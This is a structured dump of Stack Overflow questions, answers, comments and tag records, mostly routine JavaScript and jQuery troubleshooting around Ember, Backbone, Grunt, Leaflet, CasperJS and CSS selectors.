type: AnswerComment
has text: @Alice You should post your ajax code, otherwise there's no way to really help.

selectors-api
tag name: selectors-api
type: Tag
tags question: http://stackoverflow.com/q/25715538
tags question: http://stackoverflow.com/q/25777827

http://stackoverflow.com/a/25740163
has body: You need this $(document).on('DOMSubtreeModified', 'select', function () { $(this).prop('disabled', true); });
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25739851

http://stackoverflow.com/comment/40464674
has text: /domain/beta/page_home_superadmin.php#tab2, yes I use this address but it didn't direct to tab2.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25859472

http://stackoverflow.com/a/25713321
score: 0
has body: I copied your code and tried to run it. It failed only due to typos, missing quotes, etc. So I made it a bit tidier and viola, seems to work: HTML: 53% Utilisation JS: zzz = function() { var udata = 49; var element = document.getElementById("centerbox1"); if (udata >= 70) element.style.backgroundColor = '#99C262'; else if (udata >= 51 && udata.value <70) element.style.backgroundColor = '#F8D347'; else if (udata <=50) element.style.backgroundColor = '#FF6C60'; }
type: Answer
answers question: http://stackoverflow.com/q/25713190

sublimetext2
tags question: http://stackoverflow.com/q/25717681
type: Tag
tag name: sublimetext2

http://stackoverflow.com/q/25755195
type: Question
has answer: http://stackoverflow.com/a/25755268
tagged with: drupal-7
tagged with: javascript
tagged with: jquery
has body: I have following scenario: User clicks on a link with parameter like this www.abc.com/page1?xxx. On page1 I would like to have script that detects parameter xxx and runs a link with a class asap (no need to wait for dom to finish, it can be in background)(running a link opens modal window with some text). I use jquery 1.8. Edit: I am using following code: based on this question Conditionally open popup video based on URL query string (function($){ Drupal.behaviors.zzz = { attach: function (context) { $(document).ready(function(){ function getURLParameter(name) { return decodeURI( (RegExp(name + '=' + '(.+?)(&amp;|$)').exec(location.search)||[,null])[1] ); } if(getURLParameter('param')==1){ $(".colorbox-node").trigger('click'); } }); } }; })(jQuery); However, there seems to be some loop jquery that prevents the page to finish loading. I suppose that is caused by colorbox plugin trying to set top value and looking at the console I can see "setting top" message constantly working until browser crashes. How to avoid this? Thank you
has title: jquery script to detect parameter in url and call a link with class
score: 0
answer count: 1
linked to: http://stackoverflow.com/q/13746416
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40273867

http://stackoverflow.com/comment/40274949
score: 0
has text: You have typo/syntax error (controller is not well formed). See your console for errors. http://plnkr.co/edit/ruVtQK?p=preview
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25755796

http://stackoverflow.com/q/25840100
has body: I have almost two identical Node JS projects which I start/stop using Forever JS. I am able to run them at the same time at two different ports however, when I do: forever stop index.js in one project folder, the index.js of the other project also stops running. Does forever have a syntax to kill only a specific index.js process?
tagged with: forever
has title: forever js is stopping another app
tagged with: node.js
type: AnsweredQuestion
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25840332
score: 0
accepted answer: http://stackoverflow.com/a/25840332
answer count: 1

http://stackoverflow.com/q/25717803
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25878551
has answer: http://stackoverflow.com/a/25815580
has comment: http://stackoverflow.com/comment/40315888
has title: Ember updating video sources but not being reflected by browser
has body: I have an ember application with nested resources in which I'm showing videos. The outer resource (videos) simply displays all of the videos. When you click a video the nested video resource is activated and a title/player is shown. This works great the first time you click something. The video shows up and it plays. HOWEVER, when clicking another video, the nested resource video is updated and the DOMs &lt;source&gt; gets updated but the OLD video continues to play! Why is this happening and how do I fix it? Working Example on JSFiddle
answer count: 5
has answer: http://stackoverflow.com/a/25878551
accepted answer: http://stackoverflow.com/a/25860245
has comment: http://stackoverflow.com/comment/40214647
type: Question
tagged with: ember-data
upvote count: 5
has comment: http://stackoverflow.com/comment/40204548
has comment: http://stackoverflow.com/comment/40316163
score: 5
has comment: http://stackoverflow.com/comment/40204662
has answer: http://stackoverflow.com/a/25778312
downvote count: 0
tagged with: javascript
favorite count: 0
has answer: http://stackoverflow.com/a/25860245
has comment: http://stackoverflow.com/comment/40558265
has answer: http://stackoverflow.com/a/25869931
tagged with: ember.js
tagged with: client-side
has comment: http://stackoverflow.com/comment/40342100

http://stackoverflow.com/comment/40238466
has text: HAHA! They look alike!
comment on: http://stackoverflow.com/q/25731913
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40528660
comment on: http://stackoverflow.com/q/25872904
type: Comment
type: QuestionComment
has text: No, it copies a new array (`[]`) [*as the prototype*](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto) of `obj`. Total rubbish if you ask me. I think you should file a bug an ask the author of the library, not on StackOverflow.
score: 0

http://stackoverflow.com/q/25769851
has title: How do I extract JSON string using a JavaScript variable?
tagged with: javascript
tagged with: jquery
score: 0
answer count: 3
possible better answer: http://stackoverflow.com/a/25770034
has answer: http://stackoverflow.com/a/25770034
has answer: http://stackoverflow.com/a/25769962
has comment: http://stackoverflow.com/comment/40300015
type: AnsweredQuestion
has body: I am currently trying to retrieve the corresponding dial_code by using the name which I am obtaining as a variable. The application uses a map of the world. When the user hovers over a particular country, that country is obtained using 'getRegionName'. This is then used to alter the variable name. How can I use the variable name to retrieve the dial_code that it relates to? JSON var dialCodes = [ {"name":"China","dial_code":"+86","code":"CN"}, {"name":"Afghanistan","dial_code":"+93","code":"AF"} ]; The following code runs on mouse hover of a country var countryName = map.getRegionName(code); label.html(name + ' (' + code.toString() + ')&lt;br&gt;' + dialCodes[0][countryName].dial_code); This code doesn't work correctly. The dialCodes[0][countryName].dial_code is the part that is causing the error, but I'm not sure how to correctly refer to the corresponding key/value pair
tagged with: http://stackoverflow.com/tag/json
accepted answer: http://stackoverflow.com/a/25769962
type: Question
has answer: http://stackoverflow.com/a/25770131
has comment: http://stackoverflow.com/comment/40300061

http://stackoverflow.com/a/25714024
type: Answer
score: 2
upvote count: 2
accepted answer of: http://stackoverflow.com/q/25713015
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25713015
has body: You are missing collapse but you also are adding the navbar on it, which is incorrect: INCORRECT: &lt;div id="navbarCollapse" class="navbar navbar-collapse"&gt; CORRECT: &lt;div id="navbarCollapse" class="navbar-collapse collapse"&gt; DEMO: http://jsbin.com/koqas/1/edit

http://stackoverflow.com/q/25726426
answer count: 1
type: UnansweredQuestion
tagged with: php
has answer: http://stackoverflow.com/a/25732582
has body: Im using masonry in a wordpress installation, and it conflicts with a jquery mobile navigation plugin. I have the Masonry code in a .js file and then enqueue it in functions. Though It was correct, but I guess not.. In the .js file: (function( $ ) { "use strict"; $(function() { //set the container that Masonry will be inside of in a var var container = document.querySelector('ul.rss-agreggator'); //create empty var msnry var msnry; // initialize Masonry after all images have loaded imagesLoaded( container, function() { msnry = new Masonry( container, { itemSelector: 'li.feed-item' }); }); }); }(jQuery)); And how I enqueue the script in functions.php: function wpb_adding_scripts() { wp_enqueue_script( 'masonry' ); wp_enqueue_script( 'jquery' ); wp_enqueue_script( 'masonryInit', get_stylesheet_directory_uri().'/js/masonry.js', array( 'masonry', 'jquery' ) ); } add_action( 'wp_enqueue_scripts', 'wpb_adding_scripts' );
tagged with: wordpress
type: Question
has title: Jquery conflict when enqueue script, what am I doing wrong?
tagged with: javascript
tagged with: jquery
score: 0

http://stackoverflow.com/q/25783112
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25802678
answer count: 2
has comment: http://stackoverflow.com/comment/40326743
upvote count: 1
downvote count: 0
favorite count: 0
tagged with: asp.net-mvc-4
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25783544
score: 1
has body: A few co-workers and I are developing CRUD application with .net mvc4. There is a lot of dynamic content being rendered via jQuery depending on the choices the customer makes. The problem with this solution is that we have to make numerous hidden inputs to pass the additional data, in case ModelState.IsValid turns to be false, and rerender the view with the model and some ViewBags Q1: is it a bad practice to render dynamically things and rely on hidden inputs instead of taking advantage (or is it an advantage) of the Session? Q2: shouldn't it be more efficient if we don't use a form-submit methodology but instead we use ajax request via jQuery and render errors through JSON responses (which I think would be a well-defined object for the whole application)? Q3: related to Q2 - wouldn't it be faster to transfer JSON (key-value == ModelProperty - ErrorText) than rerender the whole view and send it over "the wire"?
accepted answer: http://stackoverflow.com/a/25802678
type: Question
has title: asp.net mvc ModelState IsValid - handle the return on false efficiently
has answer: http://stackoverflow.com/a/25783544
has comment: http://stackoverflow.com/comment/40324691
tagged with: asp.net-mvc

http://stackoverflow.com/q/25839290
type: Question
has comment: http://stackoverflow.com/comment/40430032
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25839334
upvote count: 1
answer count: 1
downvote count: 0
tagged with: jquery
favorite count: 0
tagged with: ajax
has answer: http://stackoverflow.com/a/25839334
has body: I'm trying to create a single-page app that pulls information from a JSON file, displays it on the screen, and perform a few actions. Right now, I have all of the information being displayed on the screen properly: http://jsfiddle.net/rcsayf7t/3/ I need the "Remove" button to asynchronously remove the JSON object from the screen when it's clicked, but unfortunately have no idea how to go about accomplishing it. HTML: Name Message Date jQuery: // helper function for formatting date function formatDate(date) { var dateSplit = date.split(" "); var displayDate = dateSplit[0] + ", " + dateSplit[1] + " " + dateSplit[2]; // return the result return displayDate; } $(document).ready(function () { // start ajax request $.ajax({ url: "https://gist.githubusercontent.com/arlodesign/7d80edb6e801e92c977a/raw/24605c9e5de897f7877b9ab72af13e5b5a2e25eb/tweets.json", dataType: "text", success: function (data) { // store the JSON data var tweetData = $.parseJSON(data); // loop through json values and build the table $.each(tweetData.tweets, function (index, item) { $('.tweets-result').append( ' ' + ' ' + ' @' + item.screen_name + ' ' + ' ' + item.text + ' ' + ' ' + formatDate(item.created_at) + ' ' + ' Remove ' + ' '); // WHEN YOU CLICK "REMOVE", THE TWEET SHOULD // ASYNCHRONOUSLY BE REMOVED FROM THE SCREEN }); } }); });
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40427351
score: 1
tagged with: http://stackoverflow.com/tag/json
has title: Asynchronously remove JSON object from screen

http://stackoverflow.com/q/25788135
answer count: 0
has comment: http://stackoverflow.com/comment/40339412
has comment: http://stackoverflow.com/comment/40336985
type: Question
has comment: http://stackoverflow.com/comment/40336929
tagged with: javascript
tagged with: facebook-like
has comment: http://stackoverflow.com/comment/40335844
score: 0
has comment: http://stackoverflow.com/comment/40337963
has title: how to get facebook pageid to get access to likes?
has body: Please help me to get step by step in my task. My task is typical as I think. I would like to get information if the current user likes my app. I was googling some days but without final result. Please point my mistake. My source (sorry for some garbage): <fb:login-button id="buttonLogin" scope="public_profile,email" onlogin="checkLoginState();"> </fb:login-button> As result I have - login button and I can login - GOOD Like button and I can like/dislike - GOOD I can get User info with FB.api('/me', function(response) BUT when I try to get like status with FB.api('/me/likes/PAGEID', function(response) I have always empty JSON array [] as response. PageID I get as 'id' field of a response from https://graph.facebook.com/MYSITE Where is my error and how should I act to get like status?
tagged with: facebook-javascript-sdk
tagged with: jquery
type: UnansweredQuestion
tagged with: facebook
has comment: http://stackoverflow.com/comment/40340402
has comment: http://stackoverflow.com/comment/40336995
has comment: http://stackoverflow.com/comment/40338622
has comment: http://stackoverflow.com/comment/40336061
has comment: http://stackoverflow.com/comment/40339052

http://stackoverflow.com/comment/40427707
comment on: http://stackoverflow.com/a/25839314
has text: Why would you convert your SVG file into codes when you can simply draw from a SVG file: http://jsfiddle.net/Lq6rksct/1 Hard coding data into your code is considered a bad practice.
type: AnswerComment
type: Comment
score: 2

http://stackoverflow.com/comment/40438383
comment on: http://stackoverflow.com/q/25845539
score: 0
type: Comment
type: QuestionComment
has text: Fixed it still nothing.

http://stackoverflow.com/comment/40205637
type: Comment
comment on: http://stackoverflow.com/a/25718113
score: 0
type: AnswerComment
has text: Thnx for the information. The files that I’m using 1. Main.cs This is where I have the “Auth” function 2. Nav.html This is where my webpage design is coded. Calling logo is from here. 3. Default.cs This file is referring to the Nav.html. I’ve added below code public string Nav() { if (IsAuthenticated) { var nav = ModuleTemplate("Modules/Default/Nav.html"); tmc.Add("Path", Instance.Page.Path); tmc.Add("UserName", Authentication.Contact_First + " " + Authentication.Contact_Last); return nav.ToString(); }

http://stackoverflow.com/comment/51774748
type: Comment
comment on: http://stackoverflow.com/a/31478967
score: 0
type: AnswerComment
has text: So far the easiest way, don't need AMD(like Ui-Router Extras). Just need to make sure you add the provider in a new Module, otherwise won't work.

http://stackoverflow.com/comment/40354967
type: AnswerComment
comment on: http://stackoverflow.com/a/25799485
score: 0
type: Comment
has text: thanks for the answer, Array.toString() implements array.join('') and for this reason, [].toString() == '' can you elaborate why [null].toString() === ""

http://stackoverflow.com/a/25848342
type: Answer
answers question: http://stackoverflow.com/q/25848243
upvote count: 2
has body: property name is defaults var Person = Backbone.Model.extend ({ defaults: { name: 'John Doe', age : 30, job : 'Web designer' }, work : function() { return this.get('name') + ' is working!!'; } }); check this
accepted answer of: http://stackoverflow.com/q/25848243
score: 2
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/40273602
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/25754957
has text: What exactly does these buttons do? In other words, what are you trying to prevent, do they submit a form, or do they have other javascript event handlers attached to them that you're trying to prevent ?

http://stackoverflow.com/comment/40375512
type: Comment
comment on: http://stackoverflow.com/a/25811109
has text: @ryeballar the plunker is not well designed, I showed only what is the issue asked in the question. The answer is: redirect could be done only if the default is prevented... If you know what I mean. But to make it working properly, states and navigation should be rewritten
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40264565
type: QuestionComment
comment on: http://stackoverflow.com/q/25749658
type: Comment
has text: Wrap up your function by appropriate event from these https://github.com/rails/turbolinks#events
score: 0

http://stackoverflow.com/comment/82475128
type: AnswerComment
score: 0
type: Comment
has text: Cool, but what if a paragraph is very long ?
comment on: http://stackoverflow.com/a/25839854

http://stackoverflow.com/q/25816463
score: -2
tagged with: javascript
has comment: http://stackoverflow.com/comment/40385689
has title: Javascript function that executes when leaving page without prompting user
answer count: 2
has answer: http://stackoverflow.com/a/25816510
possible better answer: http://stackoverflow.com/a/25817080
upvote count: 0
has answer: http://stackoverflow.com/a/25817080
tagged with: jquery
linked to: http://stackoverflow.com/q/25039281
has body: I'm looking for a javascript function that executes when the user leaves the page, similar to the onbeforeunload function, but I don't want the user notified with a dialog box
favorite count: 0
tagged with: onbeforeload
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25816510
has comment: http://stackoverflow.com/comment/40385640
downvote count: 2
has comment: http://stackoverflow.com/comment/40386379
type: Question
tagged with: prompt

http://stackoverflow.com/comment/40481278
comment on: http://stackoverflow.com/q/25868244
type: QuestionComment
type: Comment
has text: You're going to need multiple patterns.
score: 0

http://stackoverflow.com/q/25823493
favorite count: 0
has answer: http://stackoverflow.com/a/25823520
accepted answer: http://stackoverflow.com/a/25823520
tagged with: xpath
type: AnsweredQuestion
score: 3
downvote count: 0
type: Question
tagged with: protractor
has body: I have the following code: //html Sort Order Descending Ascending //test it('Check it has 2 options', function () { var selectCount = element.all(by.xpath('//*[@id="sortOrderSelect"]/child::node()')); expect(selectCount.count()).toBe(2); }); I am getting the error below. Can someone explain to me what does the error means? And how can I solve it? InvalidSelectorError: The result of the xpath expression "//*[@id="sortOrderSelect"]/child::node()" is [object Text]. It should be an element.
has title: InvalidSelectorError: The result of the xpath expression is [object Text]. It should be an element
tagged with: javascript
upvote count: 3
has comment: http://stackoverflow.com/comment/40398004
answer count: 1

http://stackoverflow.com/comment/40409059
type: QuestionComment
has text: You declared `funcDef` globally (not as `var funcdeg`), so it cann't be a surprise that it's visible outside of its outer function. What's really interesting (if you do not know about *closures*) that it's still has access to `msg` which is local to the outer function. So the first part was trivial, another explained in the post I linked to.
score: 0
comment on: http://stackoverflow.com/q/25829390
type: Comment

http://stackoverflow.com/comment/40377726
type: Comment
comment on: http://stackoverflow.com/a/25807416
has text: From my comment below: By passing it as a prop you can even give it a name and use propTypes to type check.
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40383089
has text: And also, if I copy and paste to the field it will take more words. I would like to don't allow this.
type: AnswerComment
comment on: http://stackoverflow.com/a/25814967
score: 0
type: Comment

http://stackoverflow.com/comment/40212013
comment on: http://stackoverflow.com/q/25721961
has text: install firebug(or somthing like Develper tool in firefox ((thanks to @Null)) ) and see if there is an error in your js,When there is an error, browser might stop the running the rest code.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25828403
score: 0
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/750486
has title: Understanding the need for extra function in function closure exercise
answer count: 0
has body: This is an exercise from "Object oriented javascript" in the section about closures. I'm having trouble understanding the need for the highlighted extra function used to "return x;". Tried using return x; directly from the function accepting the parameter x and it doesn't work but I can't grasp why it makes it work. Thanks function F() { var arr = [], i; for (i = 0; i &lt; 3; i++) { arr[i] = (function (x) { **return function ()** { return x; }; }(i)); } return arr; } &gt; var arr = F(); &gt; arr[0](); 0 &gt; arr[1](); 1 &gt; arr[2](); 2
type: Question
has comment: http://stackoverflow.com/comment/40406970
tagged with: function
has comment: http://stackoverflow.com/comment/40406978
tagged with: closures
duplicate of: http://stackoverflow.com/q/750486
tagged with: javascript

http://stackoverflow.com/comment/40397950
type: QuestionComment
has text: <?php $tablequery = mysqli_query($dbc,"SELECT handle,t_text, t_date,t_time,sentiment, score FROM tweets "); while ($r=mysqli_fetch_assoc($tablequery)) { $handle = $r["handle"]; $t_text= $r["t_text"]; $t_date= $r["t_date"]; $t_time= $r["t_time"]; $sentiment = $r["sentiment"]; $score= $r["score"]; $tablechart[] = "['".$handle."','".$t_text."','".$t_date."','".$t_time."','".$sentiment. "','".$score."']"; } ?>
comment on: http://stackoverflow.com/q/25823316
score: 0
type: Comment

http://stackoverflow.com/comment/40458801
comment on: http://stackoverflow.com/q/25856692
type: QuestionComment
type: Comment
has text: Also I think your JSON isn't constructed the way you intend: all your objects have either 'id' or 'info' but never both.
score: 0

http://stackoverflow.com/comment/128672908
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/72842612
type: Comment
has text: As it’s currently written, your answer is unclear. Please [edit] to add additional details that will help others understand how this addresses the question asked. You can find more information on how to write good answers [in the help center](/help/how-to-answer).

http://stackoverflow.com/q/25717073
has answer: http://stackoverflow.com/a/25717171
tagged with: javascript
type: UnansweredQuestion
score: 2
linked to: http://stackoverflow.com/q/8675223
downvote count: 0
favorite count: 0
tagged with: http://stackoverflow.com/tag/svg
duplicate of: http://stackoverflow.com/q/8675223
type: Question
upvote count: 2
tagged with: d3.js
has title: How to set background color for svg text tspan without foreign object?
has body: This is My code, How to set the attr("background-color","red") var datacollection = stackmap.append("text") .attr("x", 40) .attr("y", 50) .attr("fill", "#8b8b8b") .attr("font", "14px segoe ui") .append("tspan") .text("*content : Oh My God " + window.year);
answer count: 1

http://stackoverflow.com/comment/40435482
has text: I don't think you need those functions if you use angular correctly. When that is said, does my post not answer your question?
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25842448
type: AnswerComment

underscore.js-templating
tags question: http://stackoverflow.com/q/25746811
tags question: http://stackoverflow.com/q/25839482
type: Tag
tag name: underscore.js-templating
tags question: http://stackoverflow.com/q/25757802

http://stackoverflow.com/comment/40241314
has text: @AbdulJabbar Well, yes. I believe this one addresses the issue of *watching* for changes pretty well. What about accessing/changing variables programmatically?
comment on: http://stackoverflow.com/q/25737399
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/a/25782497
accepted answer of: http://stackoverflow.com/q/25781132
type: Answer
has comment: http://stackoverflow.com/comment/40340634
answers question: http://stackoverflow.com/q/25781132
has body: The direction option applies to vertical sliders too. Setting rtl sets bottom-to-top behaviour. See this example for more information.
upvote count: 7
score: 7
has comment: http://stackoverflow.com/comment/40334683
has comment: http://stackoverflow.com/comment/40323918
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/25826871
upvote count: 1
answer count: 1
has body: I am working on my buildscript and I need to update a value inside a YAML (.yml to be precise) file. For easier development, I simply defined it as my default task: grunt.registerTask('default', function() { var conf = grunt.file.readYAML('config.yml'); // Shows correct contents of config.yml console.log(conf); // Changing the value of key 'deploy' conf['deploy'] = 'Hello World'; // Trying to write the updated data back to file grunt.file.write('config.yml', conf); // Re-reading the new file var conf2 = grunt.file.readYAML('config.yml'); // logs [ 'object Object' ] console.log(conf2); }); I think my comments make pretty clear what I am trying to do – updating a configuration setting. The reason [ 'object Object' ] is being logged is because that is actually written to that file. That means I can't simply do grunt.file.write('config.yml', conf);, I need something like JSON.stringify but for YAML. Does something like this exist? How to update a value inside a yml file in Grunt?
accepted answer: http://stackoverflow.com/a/25826903
has title: Grunt: Updating value in YAML file?
tagged with: javascript
tagged with: gruntjs
type: AnsweredQuestion
tagged with: yaml
has answer: http://stackoverflow.com/a/25826903
downvote count: 0
score: 1
favorite count: 0
type: Question

http://stackoverflow.com/comment/40371062
has text: In this project, we don't want to use loadonce option because the dataset changes frequently in the database. So let us forget about the loadonce and data options. If I replacegrid.jqGrid("getGridParam", "data"); with If I replace var data = grid.jqGrid("getRowData"); I get the correctly filled array of grid data. But the problem is when grid.trigger("reloadGrid") is called, the truckArrived icon is not changed from red to green as expected. How can I solve this problem?
score: 1
comment on: http://stackoverflow.com/a/25805450
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40279875
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25758629
has text: Post the code that caused the error.
score: 0

http://stackoverflow.com/a/25785958
type: Answer
answers question: http://stackoverflow.com/q/25777998
score: 0
has body: var content = ''; // file var element = ''; // id or class $(window).load(function(){ window.setTimeout("doPoll()",1000); }); function doPoll(){ (element).load(content); }

http://stackoverflow.com/a/25717025
has comment: http://stackoverflow.com/comment/40202546
has comment: http://stackoverflow.com/comment/40214414
upvote count: 2
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40202797
accepted answer of: http://stackoverflow.com/q/25716805
has comment: http://stackoverflow.com/comment/40202445
type: Answer
answers question: http://stackoverflow.com/q/25716805
has comment: http://stackoverflow.com/comment/40202695
has body: Try adding this code to your show_modal() function after the var modal declaration: if ($.browser.version &gt; 9){ modal.removeClass('fade'); } This would require the download of the jQuery migrate plugin
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/40202524

http://stackoverflow.com/a/25862146
has body: **Hope this is what ur trying to achieve...DEMO $('.expandble_conetnt a').click(function(event){ event.preventDefault(); $(this).next('span').slideToggle(); }); //this is for stick to the bottom var stickyHeaderbottom = $('.footer').offset().top; $(window).scroll(function () { if ($(window).scrollTop() &gt; stickyHeaderbottom) { $('.footer').css({ position: 'fixed', bottom:0, width: '95%', left: '2.5%' }); } else { $('.footer').css({ position: 'static', bottom: $('.expandble_conetnt').offset().top, width: '100%' }); } });
has comment: http://stackoverflow.com/comment/40469067
score: 1
has comment: http://stackoverflow.com/comment/40469658
upvote count: 1
has comment: http://stackoverflow.com/comment/40469902
type: Answer
has comment: http://stackoverflow.com/comment/40469553
downvote count: 0
answers question: http://stackoverflow.com/q/25862075

http://stackoverflow.com/a/25933146
score: 1
answers question: http://stackoverflow.com/q/25839046
type: AcceptedAnswer
downvote count: 0
type: Answer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25839046
has body: I didn't manage to get Artjom's solution working. I think i'm using querySelectorAll in a wrong way (not sure why). I found a workaround. function getElem() { var arr = document.querySelectorAll('a.showall'); return Array.prototype.map.call(arr, function(elem) { return elem.getAttribute('href'); }); } casper.then(function() { var elem_arr = this.evaluate(getElem); //this.echo(elem_arr); this.echo(elem_arr.length); for (var index = 0; index &lt; elem_arr.length; index++) { this.echo(elem_arr[index]); } var random = Math.floor(Math.random() * elem_arr.length); this.echo(random); var clicker = elem_arr[random]; this.echo("Random link: " + clicker); casper.open(clicker).then(function() { this.echo('Got it! You navigated to a random link subpage.'); }); }); The trick is to create an array of links from all a.showall elements and then select a random link and open it.

http://stackoverflow.com/q/25803977
has title: Remove First element of JSON
upvote count: 4
answer count: 2
favorite count: 0
type: UnansweredQuestion
score: 1
downvote count: 3
has answer: http://stackoverflow.com/a/25804228
type: Question
has answer: http://stackoverflow.com/a/25804047
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40362763
has body: Her s the below my JSON is nd I want to remove the first line of its items, like coming as: data.items = {"username":"usr1","profile": "usr2", "items":[{"s": "1","f": "usr2","m": "hey ebteween how u doing","fr":"usr1"}]} Update #1 $.each(data.items, function(i,item){ data.items.item.shift(); } want ito be like this {"username":"usr1","profile": "usr2", "items":[]} I am trying using the data.items.slice(1) method but somehow it is not working: Update #2: i tried the code by adding the shift() but in console i received: console.log(data.items);data.items.shift(); [Object { s="1", f="usr1", m="m", more...}] but actually it did not removed the element from the json object

http://stackoverflow.com/q/25720744
has answer: http://stackoverflow.com/a/25720805
upvote count: 0
type: Question
score: -2
tagged with: javascript
has comment: http://stackoverflow.com/comment/42645936
downvote count: 2
has title: 48 hour countdown that refreshes for new visitors only
answer count: 1
has body: I'm using this JQuery countdown script (http://reflejo.github.io/jquery-countdown/). My question is, how can I make the 24-hour countdown refresh/resets for every new visitor ONLY while continue counting down with the remaining time left for returning visitors ?
tagged with: jquery
favorite count: 0
type: UnansweredQuestion
tagged with: jquery-countdown

http://stackoverflow.com/q/25747520
has title: Javascript - NaN
score: 0
possible better answer: http://stackoverflow.com/a/25747588
has answer: http://stackoverflow.com/a/25747552
has body: I am currently trying to do a small calculation to find the Markup of a product. How ever I am getting a 'NaN' error in my console. Obviously I know this means Not a Number but I can't figure out how to fix the error. function calculateSuggestedCost() { var suggestedCost = 0; var idealGP = $('#bc_inventorybundle_dish_ideal_gp').val; var cost = $('#bc_inventorybundle_dish_cost').val; suggestedCost = parseFloat(cost /(1 - idealGP)); $('#bc_inventorybundle_dish_suggested_price').val(suggestedCost); } // =Cost/(1-Margin Percentage) I've tried using parseFloat but I'm guessing the way I've used it isn't quite right. Thank's for all the quick replies. Modification of Joe Frambach's answer just to show my final working solution for anyone else looking. function calculateSuggestedCost() { var suggestedCost = 0; var idealGP = parseFloat($('#bc_inventorybundle_dish_ideal_gp').val()); var cost = parseFloat($('#bc_inventorybundle_dish_cost').val()); suggestedCost = Math.round(cost /(1 - (idealGP/100))); $('#bc_inventorybundle_dish_suggested_price').val(suggestedCost); calculateActualGP(); }
type: Question
has answer: http://stackoverflow.com/a/25747588
type: AnsweredQuestion
tagged with: javascript
answer count: 2
has comment: http://stackoverflow.com/comment/40259155
accepted answer: http://stackoverflow.com/a/25747552
has comment: http://stackoverflow.com/comment/40259164
has comment: http://stackoverflow.com/comment/40265482

http://stackoverflow.com/q/25850508
upvote count: 1
answer count: 1
favorite count: 0
has title: cannot debug javascript from webstorm anymore
type: UnansweredQuestion
has body: I used to be able to debug javascript from webstorm with no problem at all. Thanks to the jetbrains chrome extension, it simply opened a new tab in chrome and launched my site in there with no problem whatsoever. But recently I had to reboot my computer (with a beloved windows update) and now this is not working anymore. When I start the debugging from webstorm chromes opens a new tab and I see the following in the address bar and then nothing... data:text/html;base64,PCFET0NUWVBFIGh0bWw+PHRpdGxlPkxvYWRpbmcgaHR0cDovL3ZtLnNob3RndW4ubG9jYWwvPC90aXRsZT4= My site is not opened and the page remains blank in chrome.
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40447329
has answer: http://stackoverflow.com/a/25850632
type: Question
tagged with: debugging
tagged with: javascript
tagged with: webstorm

http://stackoverflow.com/a/25764322
accepted answer of: http://stackoverflow.com/q/25763626
type: Answer
answers question: http://stackoverflow.com/q/25763626
has comment: http://stackoverflow.com/comment/40295528
has body: You have to create a form element with an input type="checkbox" in your controlDiv. // create the control var command = L.control({position: 'topright'}); command.onAdd = function (map) { var div = L.DomUtil.create('div', 'command'); div.innerHTML = ' command '; return div; }; command.addTo(map); // add the event handler function handleCommand() { alert("Clicked, checked = " + this.checked); } document.getElementById ("command").addEventListener ("click", handleCommand, false); Works in this jsfiddle http://jsfiddle.net/FranceImage/ao33674e/ You can also do it the Leaflet way reading this for hints: https://github.com/Leaflet/Leaflet/blob/master/src/control/Control.Layers.js
score: 27
upvote count: 27
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/40453046
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25797742
has text: Thank you. I added jQuery(".postform").removeAttr('name'); and it works well.

http://stackoverflow.com/comment/40443903
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25848131
type: Comment
has text: Can't you just create the content on the first url-call? The Facebook scraper will load the page behind the url. I don't know if the scraper is only checking the page if someone shared the link already, or if it is checking the page as soon as the sdk parses the xfbml-share-button.

http://stackoverflow.com/q/25765347
type: Question
tagged with: commonjs
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25771453
has title: Passing events through modules in Titanium SDK
has body: How can i pass events through module hierarchy? I have the main app.js, there i load the module welcome.js (with require("welcome") ) as a window and inside welcome i load modules home.js (the view containing the login and register buttons) and login.js. The problem is i don't know what is the right method to notify app.js and welcome.js about events in login.js. For example when the user wants to go back, inside the welcome i have to hide login and show home, when the user logs in i have to destroy the welcome and load main.js inside app.js. Should i create a callback in app.js and pass it to welcome which passes it to login, create a global event listener in app and fire an event in login, or is there a better way i haven't found yet?
answer count: 1
downvote count: 0
favorite count: 0
tagged with: titanium
upvote count: 1
tagged with: appcelerator-mobile
tagged with: module
type: AnsweredQuestion
score: 1
has answer: http://stackoverflow.com/a/25771453

http://stackoverflow.com/a/25858038
answers question: http://stackoverflow.com/q/25856489
has body: AFAIK, the only way to know the count of siblings in current CSS is to use :nth-child and :nth-last-child in combination, e.g. div:nth-child(1):nth-last-child(3), div:nth-child(2):nth-last-child(2), div:nth-child(3):nth-last-child(1) { width: 33.3%; /* if there are 3 divs, make them 1/3 of the container width */ } But you will need to write such a selector for any count of the elements you decide to support, and every next selector will be longer than the previous.
